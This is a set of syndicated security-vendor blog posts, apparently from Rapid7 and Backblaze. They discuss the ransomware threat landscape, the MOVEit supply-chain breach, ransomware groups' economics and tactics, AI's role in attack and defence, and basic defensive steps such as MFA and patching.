The MOVEit vulnerability, first exposed in mid-2023, has become a favoured entry point for criminal groups looking to conduct high-volume, high-impact attacks. In this instance, attackers reportedly linked to the group Scattered Spider moved quickly, exploiting the flaw to access data at scale.

They didn’t need to phish credentials, crack passwords, or trick users. They found a vulnerable service buried in the supply chain and used automation and speed to do the rest.

This type of breach is becoming alarmingly common. Attackers increasingly target third-party software and services, i.e. vendors with connections to dozens or hundreds of organisations, because it maximises the potential return on effort. Instead of breaching one business at a time, they go upstream and compromise a shared dependency.

Scattered Spider in particular has shown a keen focus on the retail sector, where high transaction volumes, rich identity data, and complex supply chains create an attractive threat surface. As noted in Dark Reading, these groups are playing the long game—building persistent access, quietly exfiltrating data, and returning to monetise later.

This is third-party risk in action. And it’s only becoming more sophisticated.

Modern threat actors, old-school outcomes

Rapid7’s threat intelligence teams have tracked how ransomware groups and data extortion crews have professionalised their operations over the past two years. These groups are no longer operating in the shadows. They’re mimicking enterprise structures, with revenue sharing models, support desks, marketing channels, and on-demand tooling.

Groups like DragonForce, for instance, use a white-label ransomware-as-a-service model built on LockBit code, offering affiliates a fully managed platform for launching attacks. As Raj Samani, SVP and Chief Scientist at Rapid7, noted in recent research, these groups provide their affiliates with everything they need to run sophisticated campaigns: prebuilt infrastructure, encryption tools, data leak sites, and communication channels. Their tactics often involve dual extortion – stealing data and threatening to publish it unless a ransom is paid, adding public pressure to the private pain of a breach.

This business-like approach is exactly why ransomware remains one of the most dominant threats in 2025. Ransomware today is less about disruption and more about strategy. Our recent analysis explores how these attacks have evolved from smash-and-grab to long-game economics, with extortion tactics designed to exert maximum pressure over time.

But the financial hit is only one part of the damage. As Raj explores in this piece for the Cyber Threat Alliance, the broader impact of cybercrime often goes uncounted—from reputational fallout and operational disruption to the long-term toll it takes on people and trust. These are the consequences organisations must now plan for, not just respond to.

These tactics are playing out across the retail sector and beyond. Attackers are using known exploits, moving efficiently, and causing maximum disruption—not by inventing new techniques, but by taking advantage of weaknesses businesses continue to overlook.

The visibility gap

The obvious takeaway is that third-party risk is real, and growing. But there’s a deeper issue beneath the surface: many organisations lack the visibility they need to see where their risk truly lies.

As we’ve argued before, proactive visibility is foundational to strong cybersecurity. If you don’t have a live, accurate view of your external exposure across infrastructure, vendors, applications, and user behaviour, you’re already behind. And if you don’t understand how your systems interact with those of your partners, you can’t realistically assess the blast radius of a third-party breach.

This is where a Continuous Threat Exposure Management (CTEM) approach is essential. CTEM isn’t about reacting to every vulnerability alert. It’s about identifying which exposures are most likely to be exploited and putting the processes in place to resolve them before attackers take advantage.

That means:

  • Mapping your external attack surface, including shadow assets and forgotten systems
  • Actively monitoring your vendors and data flows, not just annually but continuously
  • Understanding exploitability, not just vulnerability, to focus on risk, not noise
  • Running simulations, tabletops, and breach-and-attack testing to stress-test your response before the real thing hits

The goal isn’t perfection. It’s preparedness.

From theory to action

The real takeaway for security leaders isn’t “this could happen to us.” It’s the recognition that some version of this is already happening—whether they know it or not.

Attackers are scanning your environment. They’re probing your vendors. They’re replaying leaked credentials and looking for unpatched services. What they find, and how quickly you detect and respond defines the outcome.

This is why we encourage organisations to move from reactive defence to proactive control. You don’t need to boil the ocean. But you do need a plan that accounts for real-world attacker behaviour, not just compliance checklists.

At Rapid7, we advocate for a layered, risk-informed approach. That includes:

  • Exposure management that gives you live insight into where your business is vulnerable
  • Attack surface management that helps you find and fix weaknesses before they’re exploited
  • Managed detection and response (MDR) services that augment your team’s ability to act quickly and effectively

But more than any product or service, the most important element is mindset. Security is no longer something you install or outsource. It’s something you practice every day, across every level of the business.

Shared responsibility in a connected world

Breaches like this one also raise important questions for consumers.

As Rapid7 CTO EMEA Thom Langford recently pointed out, individuals can take practical steps to reduce their risk. That includes using a password manager to store strong, unique passwords, enabling multi-factor authentication (MFA), and avoiding the storage of card details in retail accounts. For frequent online shoppers, virtual or disposable cards offer an extra layer of protection.

Still, the burden cannot rest on individuals alone. Organisations must design systems that make secure choices the default. That means encrypting data at rest and in transit, enforcing MFA by default, and never storing sensitive credentials in plaintext.

In a hyper-connected digital economy, trust is everything. And trust is built through transparency, responsiveness, and consistent investment in security—even when there’s no breach in the headlines.

A final word

These attacks aren’t happening because a single business made a mistake. They’re happening because attackers are evolving and because the systems we all rely on are more interconnected than ever.

Security leaders can’t control every vendor or patch every flaw in someone else’s software. But they can control how they prepare, how they prioritise, and how they respond.

The organisations that come out stronger are the ones that treat security as a continuous discipline – one rooted in visibility, resilience, and readiness.

Because in 2025, the question isn’t whether you’ll be targeted.

It’s whether you’ll be ready.

Key Takeaways from the Take Command Summit 2025: Inside the Mind of an Attacker

Post Syndicated from Rapid7 original https://blog.rapid7.com/2025/05/21/key-takeaways-from-the-take-command-summit-2025-inside-the-mind-of-an-attacker/

Key Takeaways from the Take Command Summit 2025: Inside the Mind of an Attacker

In one of the most anticipated sessions of Take Command 2025, Raj Samani, Chief Scientist at Rapid7, sat down with Trent Teyema, former FBI Special Agent and President of CSG Strategies, for a candid conversation on how threat actors are evolving and what defenders must do to keep up.

Moderated by Brian Honan, CEO of BH Consulting, the panel pulled no punches. From the economics of ransomware to the risks of overrelying on static indicators of compromise, Inside the Mind of an Attacker: Navigating the Threat Horizon served as both a wake-up call and a roadmap for modern security strategy.

Cybercrime is thriving — and getting smarter

It’s no longer about lone hackers. As Raj put it, “Ransomware has become a business.” Today’s threat actors are highly organized, well-resourced, and increasingly leveraging professional tools and affiliate networks.

One striking takeaway: groups like RansomHub are reportedly earning tens of millions of dollars per quarter, reinvesting that revenue into toolkits, infrastructure, and even “customer service” operations for negotiating with victims.

Panelists discussed the trend toward secondary extortion tactics, where attackers threaten to notify regulators like the SEC if ransom demands aren’t met — a calculated move to increase pressure without deploying additional payloads.

From indicators to context: why threat intelligence must evolve

One of the biggest challenges facing defenders today is the lack of actionable, context-rich intelligence. While threat intel feeds are abundant, the signal-to-noise ratio is still too high.

“We don’t just need more data. We need better context,” Raj emphasized.

The panel discussed how defenders must move beyond static IOCs and invest in behavioral analysis, context-aware detection, and real-time telemetry to truly stay ahead of threats.

A recent stat from the post-event survey reflects this shift: only 18% of respondents said their organizations integrate threat intelligence into exposure management very effectively.

To beat an attacker, think like one

The message came through clearly: organizations that adopt a proactive, attacker-informed mindset are better equipped to defend against modern threats. That means:

  • Red teaming with real-world attacker playbooks
  • Understanding how ransomware operators stage and execute campaigns
  • Practicing lateral movement detection before it happens

Trent Teyema, drawing on his FBI experience, pointed out that too many organizations still rely on legacy thinking: “They treat cyber like IT, when they should be treating it like crime.”

Paying ransoms: a business risk, not a moral judgment

Both speakers addressed the uncomfortable reality: sometimes ransoms are paid. And while this remains a contentious topic, the panel framed it clearly – it’s a business decision, not a moral one.

Raj urged teams to have ransomware playbooks and decision frameworks defined in advance. This includes:

  • Knowing legal constraints (especially around sanctions and OFAC-listed entities)
  • Understanding the implications of payment
  • Engaging with experienced negotiation partners if needed

Visibility still reigns supreme

From attack surface awareness to SOC visibility gaps, the theme of visibility was woven throughout the session.

As Raj noted, “You can’t protect what you don’t know about.”

The panel closed with a call to action: unify your data, reduce siloed tools, and build detection and response around context, not just coverage.

Watch the full session on demand

If you missed this conversation — or want to rewatch it with your team — the full session is now available.

[Watch Inside the Mind of an Attacker On Demand]

Why is Ransomware Still a Thing in 2025?

Post Syndicated from Christiaan Beek original https://blog.rapid7.com/2025/05/01/why-is-ransomware-still-a-thing-in-2025/

Why is Ransomware Still a Thing in 2025?

When was the last time you had a serious conversation about cybersecurity that didn’t touch on ransomware?

We all know that it’s one of the most persistent and damaging threats out there. Yet, this isn’t because it’s new—ransomware’s been around since 1989—but because we are making it far too easy for threat actors.

This year at RSA Conference, I gave a talk on why ransomware is still a thing in the year 2025. I explored key challenges, the rapid attack evolution, how the industry has responded, and whether today’s ransomware actors are truly innovating or just recycling old tricks.

Ransomware remains a crisis because we are still giving attackers the upper hand. To regain control, we need to understand how we’ve made it so easy for them, and what we can do to change that.

How did we get here? And why haven’t we stopped ransomware yet?

Cybersecurity investments continue to climb, with worldwide end-user spending on information security projected to reach $212 billion in 2025, according to Gartner. Still, the costs of cybercrime are continuing to escalate. With the FBI reporting a record $16.6 billion in losses in 2024 and identifying 67 new ransomware variants, it’s clear the threat landscape continues to thrive.

How is still this happening? With the steady increase in global law enforcement and legislative initiatives, as well as advancements in offensive and defensive technologies, shouldn’t progress be happening?

The fact is, attacks are escalating just as quickly. As defenders look to shift left, so do attackers who are probing earlier and adapting faster.

For example, stronger endpoint protection pushed attackers to target the network edge, exploiting vulnerabilities in firewalls, VPNs, file transfer solutions, and cloud infrastructure. The shift to multi-factor authentication (MFA) adoption was countered by attackers adjusting their social engineering to create MFA fatigue attacks. As early AI-powered threat detection improved security, ransomware groups adjusted their tactics to better blend into normal network traffic.

The economics of ransomware

Continued successes have enabled the underground cybercriminal economy to flourish and invest in even better tools and tactics. The more mature groups now run structured, professional operations that are reinvesting ransom payments into new exploits, tools, and personnel.

Successful groups like RansomHub are estimated to be pulling in more than $40m, with profits at around $12m after expenses and splitting with affiliates.

Leaked chat logs from ransomware groups such as Black Basta and Conti reveal that they often function like legitimate tech start-ups, complete with affiliate programs, customer support teams, and even bonuses for their top-performing operatives.

With six-figure sums being spent on exploits—leaked Black Basta chat logs confirmed the offer of an Ivanti zero-day for $200,000—attackers can acquire new tools faster than security teams can patch vulnerabilities. This constant reinvestment fuels an escalating cycle of attacks.

Established gangs are branching out into RaaS as a reliable money spinner, allowing lesser groups to launch attacks above their paygrade.

The more organizations are tempted by the ‘easy’ way out by paying up, the more capital threat groups have at their disposal. Big payouts also encourage gangs to hike up their ransom demands further. Meanwhile, paying is no guarantee of regaining stolen data—and attackers may return to exploit previous victims all over again.

But are ransomware groups truly innovating… or just lazy?

One of the biggest fears around ransomware gangs is the prospect of them bringing out advanced and unknown new attack tactics.

We certainly do see some top-tier gangs investing in cutting-edge techniques. These include branching out into new programming languages such as Rust, Go, and Nim to evade traditional detection methods and developing stronger encryption techniques to make data recovery more difficult.

Meanwhile, some groups are exploring firmware-based ransomware, embedding malware in UEFI/BIOS to evade detection. Conti chat logs confirm active research into these techniques. If adopted widely, these threats could eventually take ransomware to a new level.

While AI is a leading concern, it isn’t widespread in ransomware yet. Chiefly because the old methods are still working for the threat groups. However, attackers are using AI for social engineering, including phishing chatbots and deepfake scams.

So, certainly there is innovation in the field, at least at the top end. But when you start looking at the trends, it’s apparent that groups are usually doing just enough to stay ahead of their victims and aren’t typically experimenting the way the forefront of the legitimate tech sector does.

There are a lot of fields we aren’t really seeing them explore. For example, I’ve considered the potential around targeting chipsets in an attack. If you put some malicious code into the firmware controlling your operating system, I can load ransomware in the CPU and execute the ransomware from the chipset. There’s really no way for an antivirus tool to spot that before it activates during boot up. We’ll leave that there though for now—we don’t want to give them ideas…

Anyway, the fact is most threat groups prioritize efficiency over true innovation, and there are clear signs of groups cutting corners wherever possible. Groups such as LockBit and Conti have borrowed from REvil’s leaked source code instead of writing their own, for example. As the old saying goes, “if it ain’t broke…”

While groups have become more automated, they typically scale up existing operations rather than investing in new malware and tactics. Further, simple phishing attacks continue to do the trick in most cases. Why bother with advanced exploits and AI-powered campaigns if your target still isn’t using MFA?

Fighting ransomware starts with the fundamentals

A dozen years after attacks like CryptoLocker set the trend for modern ransomware, it remains a critical threat as attackers continue exploiting the same gaps repeatedly. Weak credentials, unpatched vulnerabilities, and poor incident response planning are all maintaining ransomware’s status as a reliable moneymaker.

Enterprises must get their fundamentals right to break the cycle of attacks.

Many firms still lack full visibility into their attack surface, for example. Security teams cannot effectively defend their organizations without comprehensive visibility of their systems and the ability to identify where to implement controls that prevent unauthorized access, privilege escalation, and lateral movement.

MFA, while highly effective, is often deployed and configured incorrectly and does not cover critical systems, especially edge technologies like SSL VPNs, firewalls, and cloud services.

Likewise, vulnerability patching is another critical area that is often not completed quickly or thoroughly enough, creating a wide window for attackers to use exploits before fixes are applied.

At first, addressing the prioritization issue can seem daunting. Out of the hundreds of vulnerabilities a business may face, where do they start? In these situations context is key, so a good place to start is by bringing together technologies and curated intelligence, which provide the necessary context to prioritize patching. If organizations can boost awareness of actively exploited vulnerabilities, and patch these proactively, then the overall risk they face will be lowered.

Beyond prevention, organizations need to test their response capabilities. Red team and tabletop exercises are essential to testing how well teams can detect, contain, and recover from an attack. Firms must develop response and data recovery strategies that do not rely on paying ransoms, removing the financial incentive behind groups carrying out attacks.

While a lot of companies have this down on paper, they may not have gone into enough depth for the real thing. What if an attack strikes and the main decision-maker is on vacation and they didn’t bring their cell to the beach? Who’s the replacement, what happens next? All these things need to be planned out and tested in detail.

So yes, ransomware is still a problem in 2025, and it will remain central to security discussions. However, the sophistication of this threat is not as daunting as it may seem. Threat actors are opportunists who cut corners and rely more on defenders making mistakes than their own skillsets.

To start winning this battle, organizations don’t need to take drastic measures. They need to get the basics right and take back control. No more giving the adversary easy wins.

AI 101: How AI and Ransomware Are Reshaping Cybersecurity

Post Syndicated from Stephanie Doyle original https://www.backblaze.com/blog/ai-101-how-ai-and-ransomware-are-reshaping-cybersecurity/

A decorative image showing a shield, a chip, and the words "AI" over the chip.

AI is rewriting the rules of technology, for better or worse. Arguably one of the most “for better and worse” areas? Ransomware. It’s a full blown billion dollar business, and AI is supercharging both the offense and defense.  

Not only are we seeing AI give bad actors more sophisticated tools and campaigns to target business and consumers alike, we’re also seeing mitigation techniques and technologies deployed by good actors gain equally compelling AI-powered improvements. 

In other words, welcome to the future—where your data is the hostage and the bots are negotiating. Let’s dig in.

Some stage-setting: How much is ransomware costing us?

Despite ransomware payments exceeding an eye-watering $1 billion in 2023—and despite some high profile attacks in 2024, one of which extracted $75 million from a single victim—ransomware attacks actually fell overall in 2024. High profile law enforcement activity, like those against LockBit and BlackCat contributed to a huge drop in the second half of 2024. 

Don’t get too excited though: According to cryptocurrency tracing firm Chainanalysis, that still meant $814 million in 2024. And, the true cost of ransomware includes more than just payments extracted under threat. 

The economic ripple effects of a ransomware attack can include losing C-level talent, having to lay off employees, and ongoing downtime or business closure. Industry-wide, cyber insurance is a growing industry, and 2024 saw a staggering 31% of claims come from third-party risk. 

Reports show that cyber attackers are using ransomware data in new ways, including targeting critical backups and using hostage data to damage organizational reputation

Perhaps most concerningly, ransomware attackers are increasingly using exfiltration as a tactic to double and triple extortion, even using exfiltration data to launch targeted distributed denial-of-service (DDoS) attacks. According to a Check Point’s 2025 Cyber Security Report, some new actors have emerged as exclusively “data-selling platforms,” hosting dedicated data leak sites (DLS) and negotiation platforms.

The good news

  • Machine learning (ML) tools have underpinned modern cyber security techniques for years now—with excellent results. 
  • Sophisticated monitoring tools give us far more granular insights and alerts. 
  • AI-driven behavioral analysis is making it easier to detect anomalies and preempt attacks before they escalate.

What does this mean for defending against ransomware attacks?

Enterprises now have access to security platforms that analyze network behavior in real time, flagging unusual access patterns or lateral movement before a full ransomware payload can deploy. These platforms rely on machine learning models trained on massive datasets of known attack vectors, which allows them to flag and quarantine suspicious activity with impressive accuracy.

The interesting thing is that common knowledge says that “the AI revolution” has been happening recently, and quickly. But, when it comes to cybersecurity defense, many tools have been using ML algorithms for at least two decades. Palo Alto Networks (WildFire), for example, has been using ML since 2003. 

The line between “processing massive datasets and acting up on that info based on programmed parameters” and machine learning is subtle, but important. While the former follows set parameters, machine learning identifies patterns in data—sometimes with human guidance—to decide from multiple possible actions. 

It’s like teaching an assistant a series of tasks they can eventually do on their own. When you think about the progression from basic automation to ML, AI, and deep learning, the shift from rule-based actions to autonomous, chained decisions starts to make a lot of sense.

Zero trust architecture, enhanced by AI, is also gaining momentum. Instead of relying on perimeter-based defenses, AI-enhanced systems enforce granular access controls and continuously verify user and device trust levels. In practice, what this means is that systems no longer assume that you are you on the other end—not without evidence. Combine this with real-time threat intelligence sharing and automated incident response, and enterprises can shorten the window between detection and mitigation drastically. 

The bad news

  • Deep fakes are more convincing. 
  • The ability to generate code means there are more attacks, and those attacks are more sophisticated and responsive. 
  • Cyber criminals of all skill levels have access to more technical tools, including some that are specialized in malware. 
  • Enterprises are adjusting to a new way of working, which can create vulnerabilities.

Generative AI, phishing, and deep fakes

The low-hanging fruit in this discussion is that it’s easy to use generative AI to create more convincing phishing attacks. In the past, bad grammar or non-localized language choices have been an easy way to quickly identify a phishing attack. 

Assisted by generative AI, deep fakes of both the voice and video flavor are getting increasingly difficult to spot—so, while you know your CEO isn’t likely to text you to get a bunch of gift cards or send them company funds via Bitcoin or PayPal, you might believe a video of your CFO or a call from your CEO asking you to transfer funds to accounts that turn out to not be legitimate. 

How is generated code being used by ransomware bad actors?

Just as generative AI models have made everyone a poet, they’re also widely used to generate code. Tools like GitHub Copilot have seen wide adoption amongst enterprises looking to generate and test code. Gartner reports that by 2027, 70% of professional developers will use AI-powered coding tools, up from less than 10% in 2023. 

Given how AI code generation has made code generation easier on enterprises, it’s no surprise that the ransomware industry is following the same adoption trends. By January 2023, this had gone from a hypothetical to a reality, with ransomware bad actors of low levels of technical skill able to leverage LLMs to create malware scripts. 

By July 2023, cybercriminals were already discussing WormGPT, a malicious chatbot trained on ChatGPT which removed standard guardrails against creating illegal or inappropriate content. And, cybersecurity protection firms had executed a proof of concept to demonstrate that AI could generate truly polymorphic code on the fly—a technique used to make it much easier to evade detection by antivirus programs. By July 2024, one study showed that ChatGPT 4 was able to exploit 87% of one-day vulnerabilities. 

Couple that with the fact that ransomware bad actors have opposite success metrics vs. enterprises. Cyber criminals rely on enacting as many attacks as possible, and it only takes one of those attacks succeeding to see a significant upside. Enterprises, on the other hand, only need one failure to see a huge negative impact on their businesses.

What things can you implement to be ransomware ready?

There are a variety of best practices enterprises and users can implement to be more ransomware ready. Organizations like National Institute of Standards and Technology (NIST) and Cybersecurity and Infrastructure Security Agency (CISA) typically publish recommendations, as well as security bulletins and trends within the industry. 

Some of these recommendations are things that users can do on every platform they interact with, such as:  

  • Creating good, strong, unique passwords, and preferably using a password manager: A good password manager reduces password reuse and helps ensure best practices are followed enterprise-wide. 
  • Enabling multifactor authentication (MFA): Multi-factor authentication remains one of the strongest lines of defense, especially when paired with device verification and biometric options. 

On the enterprise side of the house, frameworks like cyber resilience help teams protect data they’ve been entrusted with. And, AI-powered cyber security tools can be a powerful tool in any business’s toolbox. That can look like a number of different things, including: 

  • Investing in AI-powered endpoint detection and response (EDR). These tools continuously monitor and analyze endpoint activities, flagging unusual behavior and isolating threats automatically.
  • Training teams on recognizing deep fakes and AI-enhanced phishing attempts. Security awareness training is evolving fast. Focused, frequent, and AI-aware sessions are critical for employees across departments.
  • Leveraging deception technology. Deploying decoy systems, fake credentials, and honeypots can help trap attackers early and gather valuable intel on their tactics.
  • Running tabletop simulations. Practicing breach scenarios—especially those involving AI-enabled threats—prepares teams to act decisively when seconds matter.

Cyber resilience isn’t static, and neither are the tools and tactics. One of the most important areas an enterprise can invest in is ongoing security and research. Enterprise leaders need to prioritize proactive measures. That means ongoing AI model audits, being nimble in response to new and changing best practices, and investing in cross-functional teams that bring together infosec, legal, and operational leadership. 

The future of AI and ransomware

Let’s level with each other—separately, the AI and ransomware spaces are both changing quickly. When you combine AI and ransomware and try to define how they’re affecting each other, you’re on pretty slippery ground. 

What we’re trying to do here is identify patterns that affect our everyday lives—but we’re also taking a peek at what folks are studying in the research realm, because quantum is just around the corner, and, frankly, too impactful to ignore

So, tell us if we need an update, or if you have another opinion! The comments section is open and we’re happy to chat. 

The post AI 101: How AI and Ransomware Are Reshaping Cybersecurity appeared first on Backblaze Blog | Cloud Storage & Cloud Backup

2025 Ransomware: Business as Usual, Business is Booming

Post Syndicated from Chris Boyd original https://blog.rapid7.com/2025/04/08/2025-ransomware-business-as-usual-business-is-booming/

2025 Ransomware: Business as Usual, Business is Booming

Getting an edge on your adversaries involves understanding their behaviors and their mindset. Rapid7 Labs took a look at internal and publicly-available ransomware data for Q1 2025 and added our own insights to provide a picture of the year thus far—and what you can do now to reduce your attack surface against ransomware.

The data highlights that businesses can’t afford to take their foot off the gas pedal when it comes to proactively tackling ransomware. Established threat actors and relative newcomers are taking an “if it ain’t broke, don’t fix it” approach, shunning unpredictability for proven revenue generation techniques. And, in almost all cases, the name of the game is data exfiltration and blackmail via leak site posts.

At a glance

The heavy hitters of the current ransomware landscape are a mixture of new and familiar faces, largely leaning into the affiliate model or announcing partnerships with well-known groups for a visibility boost. There were 80 active groups in Q1, 16 of them new since January 1. There are also 13 groups that were active in Q4, 2024, but have thus far been silent in 2025.

2025 Ransomware: Business as Usual, Business is Booming

New ransomware groups active since the start of 2025 include (but are not limited to): Ailock, Belsen Group, CrazyHunter, Cs-137, D0Glun, GD LockerSec, Linkc, NightSpire, Ox Thief, Run Some Wares, SECP0, Sonshi, and VanHelsing.

Popular targets in Q1:

  • Manufacturing, business services, healthcare, and construction were the top industries under siege by a variety of established and newly emerging threat actors. Of the 618 leak site posts we reviewed containing victims’ industry information, 22% were manufacturing organizations. Business services was a distant second at 11%, followed by healthcare services and construction, both at 10%.
  • Top regional targets included traditional favorites such as the U.S., Canada, the UK, Germany, and Australia, as well as a fair share of victims in Taiwan, Singapore, and Japan. We also saw an increase of victims in unusual locations such as Colombia and Thailand.

Reinvested ransoms

The Black Basta chat leaks that occurred in February provided an insightful look into not only the group’s infighting, but also its inner workings. And while the group’s activity stopped dead in its tracks (the last leak site post was on January 11, 2025), we would be remiss if we didn’t give mention to a significant trend we have suspected was happening, but were only able to verify with these chat logs: Ransomware groups are reinvesting the ransoms they’re paid to purchase zero days.

Within the Black Basta chat logs, we observed that on November 23, 2023, the group was offered a zero-day exploit targeting Ivanti Connect Secure for their purchase. The exploit came with an asking price of $200,000, and is described by the seller as an unauthenticated RCE exploit, leveraging an unknown memory corruption vulnerability.

While it’s unclear if a purchase was ever made, we can speculate as to what this vulnerability may or may not have been, based on recently published Ivanti Connect Secure CVEs. There were three notable CVEs exploited in the wild as zero days circa late 2023: CVE-2023-46805, CVE-2024-21887, and CVE-2024-21893. However, the seller describes the zero day as a memory corruption vulnerability, which none of those three were. It was also not CVE-2024-21893, which was an SSRF vulnerability. A more recent CVE affecting Ivanti Connect Secure, which was both a memory corruption vulnerability, and exploited in the wild as a zero day, was CVE-2025-0282; however, the affected version ranges of this CVE don’t line up with the zero day being offered in the Black Basta logs. It is possible the zero day being offered for sale to the Black Basta group remains a zero day, as there is no evidence to suggest that it has been patched.

Separate from the Ivanti discussion, however, we observed that Black Basta did indeed buy a Juniper firewall exploit. This followed a comparison between a public, authenticated remote code execution (RCE) exploit (which only gives user-mode access) and the purchased one that provides full root access.

Repackaged offerings

Several groups are making a name for themselves by simply dragging out the classics. Most recently, a supposedly resurrected Babuk ransomware group was not all it seemed, with old data taken from RansomHub, FunkSec and LockBit repurposed as their own. Rapid7 analysis highlights the challenges of groups reforming or collaborating under new identities, such as “Babuk 2.0” just being LockBit 3.0 / LockBit Black with a different name applied.

Elsewhere, FunkSec is not above repurposing old leak data, and LockBit was found to be posting a mixture of old data and faked attacks after global arrests of suspected LockBit developers and affiliates. Visibly weakened by the trilateral law enforcement action, what was left of LockBit turned to fakery as a way of making it seem as though things were still business as usual.

Restructured groups

When ransomware groups go silent, others are there to take their place. Part of this dynamic is a continuously circulating affiliate network that keeps defenders and cybersecurity analysts on their toes. Rebrands aside, Rapid7 observed what appears to be a “changing of the guard” within the Akira ransomware group.

In the scatterplot below, we see Q4 2024 leak site post activity for the top 15 ransomware groups, where the dots indicate individual posts and the dot sizes indicate the amount of data being posted. Looking at Akira’s (5th from top) posting distribution, we can see that it is sporadic but its pace begins to increase around mid December. By way of comparison, RansomHub’s (bottom line) posting distribution is consistent and strong throughout the quarter.

2025 Ransomware: Business as Usual, Business is Booming

In the following scatterplot, which is Q1 2025, we see Akira (4th from bottom) operating much more in line with other leading players (Qilin, Lynx, etc.). Rather than sporadic, often large data dumps, Akira has begun to make regular postings of similar size. Further trends analysis shows that Akira’s postings shifted from happening primarily on Fridays to being anytime throughout the week.

2025 Ransomware: Business as Usual, Business is Booming

Ones to watch

As noted above, the most prolific ransomware groups for Q1 2025, ranked by the number of posts on their dedicated leak sites, are Cl0p and RansomHub by a considerable margin. Along with these two groups, several others are disrupting businesses of varying sizes and industries. In this section we’ll discuss groups of particular concern due to their reach and/or negative organizational impacts.

RansomHub

RansomHub burst onto the scene in February 2024, combining data encryption and exfiltration from a minimum of 210 organizations across a 6-month period. Affiliates are known to use vulnerability exploitation and phishing for initial access, along with double extortion to force victims into paying a ransom or face leaked data and reputational damage. RansomHub was the most prolific leak group operator we saw in 2024, and based on current trends displays no sign of slowing down.

Cl0p

Cl0p is one of the most well known Ransomware-as-a-Service (RaaS) groups. First seen in 2019, Cl0p has a long history of using exploits to propagate ransomware and leans heavily into double extortion. Cl0p is also known for its involvement in devastating supply-chain incidents, most notably claiming to have stolen data from hundreds of MOVEit Transfer customers. Initial access vectors include phishing emails, social engineering, and malicious attachments.

The group has made a torrent of leak site posts since the start of the year, with an astonishing 345 leak site posts in February alone and 413 for Q1 overall. While some of these posts represent fresh attacks, the majority are drip-fed leaks related to their exploitation of an older vulnerability in Cleo’s file transfer software.

Anubis

A new RaaS group active since at least November 2024 with a strong focus on data extortion, Anubis has possibly redefined the double extortion approach into something best described as malevolence as a service. It’s not enough to exfiltrate and then leak victim data; Anubis presents findings in a format resembling citizen journalism, exposing the alleged wrongdoings of those they target. The Robin Hood approach, hoping to curry favor with the public, is a well-worn one.

All of this, wrapped up in a slick format of nice graphics and hype-generating announcements on social media.

2025 Ransomware: Business as Usual, Business is Booming

It feels more like buying into membership of an airline loyalty program, as opposed to some kind of ruthless extortion. Already well into the “Watch out for our next exciting leak” promotional activity stage, this is a group making waves and has claimed at least five public victims so far, mainly in the healthcare and engineering sectors. Of note is that Anubis itself has stated it is looking to exclude education, government and non-profit sectors from its list of potential targets. Thus far, targeted regions appear to be the U.S., Canada, Europe, and Australia.

Lynx

First observed in July 2024, this now-established RaaS group combines phishing and malicious downloads alongside double extortion tactics. Lynx targets a variety of sectors including utilities, construction, and manufacturing, with victims located in a wide variety of locations including the U.S., Australia, and Romania.

Lynx offers a slick and professional affiliate panel, allowing affiliates to micromanage almost all aspects of a campaign and its unfortunate targets. The panel includes victim profile pages, news and updates, and an “all-in-one” archive of executables targeting multiple architectures. It’s the kind of setup which lowers the bar to entry for newcomers, and only becomes more popular over time.

Qilin

Although not as visible as some other ransomware groups in Q1 2025, RaaS operator Qilin has achieved some notable success. First observed in 2022, Qilin ransomware has been used to target a wide variety of industries which includes the healthcare, financial, and manufacturing sectors. Known for spear phishing and making use of compromised credentials, Qilin attacks tend to specialize in double extortion and data exfiltration on a large scale—their leaks can range from a few hundred gigabytes to their most recently publicized attack, which is allegedly a haul of 1.1 terabytes of data. Alarmingly, Microsoft has observed North Korean group Moonstone Sleet deploying Qilin ransomware at “a limited number of organizations”, the first time this group has been known to make use of ransomware developed by a RaaS threat actor.

Tactics

Ransomware groups tend to follow a specific pattern: Initial access, reconnaissance, credential theft and lateral movement, exfiltration, and finally encryption. There are divergences, however. Some groups avoid ransomware deployment and file encryption, instead choosing to compromise the network via unsecured VPNs and Remote Desktop Protocol (RDP). From there, they move straight to data exfiltration. This is known as “extortionware.”

Other threat actors, notably LockBit, use Living off the Land (LOTL) tactics to infiltrate networks with legitimate tools and management software already in place. As no malware files are deployed, it becomes increasingly difficult to detect these attacks in motion and threat actors can sit undetected for weeks or even months.

Here are some of the key elements of ransomware tactics across this first quarter of 2025:

  • RaaS is firmly established as a key tactic for prominent ransomware groups. The ease with which affiliates can buy into a ransomware group of choice and immediately begin attacks (see example below) ensures a steady flow of profit for the criminals at the top of the food chain.
2025 Ransomware: Business as Usual, Business is Booming
  • Double extortion is also a firm favorite. FunkSec made inroads into this realm with ransoms as low as $10,000, perhaps designed to be more enticing to victims than the often unreachable demands for totals ranging from $600,000 to a cool million plus.
  • The deadline to pay a ransom, or just make initial contact with the threat actor, varies greatly between groups. RansomHub has previously handed out ransoms with deadlines ranging between 72 hours and 90 days. Cl0p has been known to apply varying degrees of pressure to encourage targets to get in touch. In December 2024, the group gave uncommunicative victims 48 hours to make contact or risk having their organization’s names disclosed publicly. Other Cl0p notes, such as the one below, reuse the 48-hour tactic but exclude mention of public exposure. Regardless of the tactics used, there’s no guarantee files will be unencrypted or stolen documents deleted from leak sites should the victims pay up. These supposed deadlines create a sense of urgency while potentially offering victims little beyond false hope.
2025 Ransomware: Business as Usual, Business is Booming

Five things you can do now

Unfortunately, there is no escaping the business reality of ransomware; it is a pervasive problem and it impacts every business at some level sooner or later. A solid defense plan can help to lower risk and prevent a disastrous outcome.

Here are five things you can do now that will make an immediate impact on reducing your attack surface:

  1. Take a fresh look at your MFA — If your organization has deployed multi-factor authentication (MFA), take the time now to review any policy exceptions that have been made over time and remove as many as possible. In addition, ensure that your MFA settings are properly configured (this is critical!). If your organization has not yet deployed MFA, see number 2.
  2. Deploy and configure MFA the right way — Multi-factor authentication is a must to avoid giving attackers an easy win from unsecured VPNs and RDP. Combine with geolocational restrictions, strong, unique passwords, and number matching in MFA applications to help ward off additional threats like MFA fatigue.
  3. Practice continuous patch management, especially for edge devices — Over the last couple of years, network edge devices have become a favorite way for attackers to gain initial access and then pivot elsewhere in the victim’s network. It’s critical that your patch management program accounts for this by prioritizing fixes to these devices as they are released. Prioritization of fixes should also be based on known exploits, their potential impacts to your business, and how these align with your business’s risk tolerance.
  4. Hold a ransomware attack simulation — Activate your incident response plan as if the organization has just been made aware of a breach. Who in the organization is involved and what are their immediate tasks? Are payment policies and outside resources pre-determined so there are no panic-driven mistakes and critical time isn’t lost? Note your learnings and schedule regular simulations every 6 months thereafter.
